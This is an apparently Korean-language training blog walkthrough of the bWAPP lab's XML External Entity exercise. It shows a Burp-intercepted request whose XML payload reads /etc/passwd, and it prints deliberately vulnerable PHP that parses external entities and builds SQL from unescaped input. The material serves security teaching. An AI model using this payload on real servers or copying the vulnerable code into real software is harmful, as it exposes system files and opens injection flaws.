정보보안(구버전)/ bWAPP 2019. 2. 22. 21:21

웹 해킹 bWAPP - 98. A7 - Missing Functional Level Access Control - XML External Entity Attacks(XXE)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Missing Functional Level Access Control

 

 - OWASP Top10 A7 - 기능 수준의 접근 통제 누락
 - 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을때 중요 자원 접근이 가능한 취약점이다.

 - Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드

 

 

 

2. XML External Entity Attacks(XXE)

 

 - XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)

   를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.

 - 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다. 

 

 

 

3. Missing Functional Level Access Control - XML External Entity Attacks(XXE)

 

 - 이 시나리오는 SYSTEM 키워드를 이용하여 XML 인젝션을 실시하고, 시스템 내부 자원 정보를 획득하는 내용이다.

 - 이때, 'XXE'라는 외부 엔티티를 선언하고, '&XXE;' 변수를 이용하여 '/etc/passwd' 정보를 획득한다.

 

  

Ex1) Missing Functional Level Access Control - XML External Entity Attacks(XXE) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

 

'Any bugs?' 클릭

 

 

 

마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동

 

 

 

98-0. XXE 스크립트-1.txt

Request Body에 XXE 스크립트 실시

POST /bWAPP/xxe-2.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/xxe-1.php

Content-Type: text/xml; charset=UTF-8

Content-Length: 59

Cookie: PHPSESSID=7bdb63cf61374b3f8f4ccdd1051d2bde; security_level=0

Connection: close

 

<reset><login>bee</login><secret>Any bugs?</secret></reset>    <- 기존 내용

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY XXE SYSTEM "file:///etc/passwd">                       <- 변경 내용
]>
<reset>
 <login>&XXE;</login>
 <secret>1</secret>
</reset> 

 

 

 

'Go' 버튼 클릭 -> Response에 '/etc/passwd' 파일 내용 확인 

 

 

 

'Proxy' 클릭 및 이동 -> Intercept is on 클릭하여 off 실시 

 

 

 

 'Intercept is off' 확인

 

 

 

Ex2) 'xxe-1.php' & 'xxe-2.php' 파일 내용 확인 


bee@bee-box:/var/www/bWAPP$ ls -l xxe-*
-rw-rw-r-- 1 root www-data 5318 2014-11-02 23:52 xxe-1.php
-rw-rw-r-- 1 root www-data 2530 2014-11-02 23:52 xxe-2.php

bee@bee-box:/var/www/bWAPP$ vi xxe-1.php

~ 중간 생략 ~

 

</div>

 

    <h1>XML External Entity Attacks (XXE)</h1>

 

    <p>Reset your secret to <input type="button" OnClick="ResetSecret();" value="Any bugs?"></p>

 

    <script type="text/javascript">

 

        function ResetSecret()
        {
            var xmlHttp;
            // Code for IE7+, Firefox, Chrome, Opera, Safari
            if(window.XMLHttpRequest)
            {
                xmlHttp = new XMLHttpRequest();
            }
            // Code for IE6, IE5
            else
            {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlHttp.open("POST","xxe-2.php",true);
            xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
            xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
        }

 

    </script>

 

</div> 

 

:q!

 

 

bee@bee-box:/var/www/bWAPP$ vi xxe-2.php

~ 중간 생략 ~

 

 // If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

 

    ini_set("display_errors",1);

 

    $xml = simplexml_load_string($body);

 

    // Debugging
    // print_r($xml);

 

    $login = $xml->login;
    $secret = $xml->secret;

 

    if($login && $login != "" && $secret)
    {

        // $login = mysqli_real_escape_string($link, $login);
        // $secret = mysqli_real_escape_string($link, $secret);

 

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

 

        // Debugging
        // echo $sql;

 

        $recordset = $link->query($sql);

 

        if(!$recordset)
        {

 

            die("Connect Error: " . $link->error);

 

        }

 

        $message = $login . "'s secret has been reset!";

    }

 

    else
    {

 

        $message = "An error occured!";

 

    }

 

}

 

// If the security level is MEDIUM or HIGH
else
{

 

    // Disables XML external entities. Doesn't work with older PHP versions!
   // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);

 

    // Debugging
    // print_r($xml);

 

    $login = $_SESSION["login"];
    $secret = $xml->secret;

 

    if($secret)


    {

 

        $secret = mysqli_real_escape_string($link, $secret);

                    // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

                       (NULL, \n, \r, \, ', ", ^Z)

 

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

 

        // Debugging
        // echo $sql;

 

        $recordset = $link->query($sql);

 

        if(!$recordset)
        {

 

            die("Connect Error: " . $link->error);

 

        }

 

    else
    {

 

        $message = "An error occured!";

    }

 

}

 

:q!

 

 

 

 

Ex3) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

98-1. XXE 스크립트-2.txt

XXE 스크립트 인젝션 실패

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 98. A7 - bWAPP Missing Functional Level Access Control - XML External Entity Attacks(XXE)


https://youtu.be/01BvYdzGcO4



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q